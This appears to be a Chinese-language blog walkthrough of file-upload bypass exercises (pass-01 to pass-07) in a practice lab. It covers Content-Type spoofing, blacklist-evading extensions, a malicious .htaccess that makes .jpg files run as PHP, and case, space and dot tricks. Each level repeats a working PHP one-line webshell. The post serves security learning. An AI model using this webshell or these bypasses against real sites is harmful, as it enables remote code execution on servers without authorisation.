解析、截断、验证、伪造上传-1

举报
xcc-2022 发表于 2023/02/24 21:37:03 2023/02/24
【摘要】 文件上传步骤上传到缓存目录=》通过php代码指导,移动到存放文件的地方+重命名前端验证前端代码是在浏览器上运行的,通过burp进行数据包修改达到绕过pass-01查看源码,发现使用前端验证,只允许.jpg|.png|.gif上传编写简单的一句话木马,将后缀修改为允许通过的文件类型,通过burp修改文件后缀达成绕过;<?php eval($_REQUEST[a]);?>imageimagepa...

文件上传步骤

上传到缓存目录=》通过php代码指导,移动到存放文件的地方+重命名

前端验证

  • 前端代码是在浏览器上运行的,通过burp进行数据包修改达到绕过

pass-01

查看源码,发现使用前端验证,只允许.jpg|.png|.gif上传
编写简单的一句话木马,将后缀修改为允许通过的文件类型,通过burp修改文件后缀达成绕过;
<?php eval($_REQUEST[a]);?>


image

image

pass-02

Content-Type方式绕过
Content-Type:用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件

第二题属于后端验证,只允许Content-Type头为image/jpeg|image/png| 的文件
编写简单php一句话木马
`<?php eval($_REQUEST[a]);?>
通过BURP修改Content-Type信息达到绕过


image

image

pass-03

黑名单绕过:存在黑名单内的文件类型不允许上传
jsp|jspx|jspf 会被当做jsp运行
asp|asa|cer|aspx 会被当做asp运行
php|php3|php4|php5|phtml 会被当做php运行
exe|exee 会被当做exe执行

查看源码发现 不允许上传.asp,.aspx,.php,.jsp后缀文件,可尝试使用其他可被执行的后缀进行
如何区分黑白名单机制,上传任意后缀文件,能上传属于黑名单机制,不能上传属于白名单机制
编写简单php一句话木马,将后缀改为phtml文件
<?php eval($_REQUEST[a]);?>

pass-04

.htaccess文件绕过
  • 当rewrite模块开启,配置文件httpd.conf如下时,apache服务器会将所有.jpg为后缀的文件作为php文件解析。
<Directory />
    Options FollowSymLinks
    AllowOverride All
    AddType application/x-httpd-php .jpg    #将.jpg后缀的文件作为PHP文件解析
</Directory>
  • 当上传.htaccess文件到upload目录时,upload目录下的文件会按其配置生效解析
.htaccess文件内容
AddType application/x-httpd-php .jpg
  • 这样配置有一个问题,apache会将所有的.jpg后缀的文件当作php文件解析,这样会明显影响系统的功能,改进代码如下,这样系统就只对文件名包含“info.png”字符串的文件进行解析,例如aaainfo.jpg,aaainfo.jpgxsdf,aaainfo.png.txt。
<FilesMatch "info.png">
setHandler application/x-httpd-php
</FilesMatch> 
  • 再次改进
<FilesMatch "^info.png$">
setHandler application/x-httpd-php
</FilesMatch>

漏洞形成条件

  • apache服务器
  • 能够上传.htaccess文件,一般为黑名单限制。
  • AllowOverride All,默认配置为关闭None。
  • LoadModule rewrite_module modules/mod_rewrite.so #模块为开启状态
  • 上传目录具有可执行权限。

先上传.htaccess文件;

<FilesMatch "^info.jpg$">
setHandler application/x-httpd-php
</FilesMatch>

在上传图片码

<?php eval($_REQUEST[a]);?>

image

pass-05

查看源码发现.htaccess文件被禁用了,但是发现php文件的大小写没有禁用,通过创建后缀为.PHP文件绕过

<?php eval($_REQUEST[a]);?>

image

pass-06

文件后缀(空)绕过(windows中)
查看源码发现全转成小写,可以尝试通过文件后缀加空格的方式绕过
创建后缀为.PHP文件绕过,或burp修改后缀

<?php eval($_REQUEST[a]);?>

image

pass-07

文件后缀(点)绕过(windows中)
查看源码发现首位去空格,可以尝试通过文件后缀加点的方式绕过
创建后缀为.PHP .文件绕过,或burp修改后缀

<?php eval($_REQUEST[a]);?>





【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。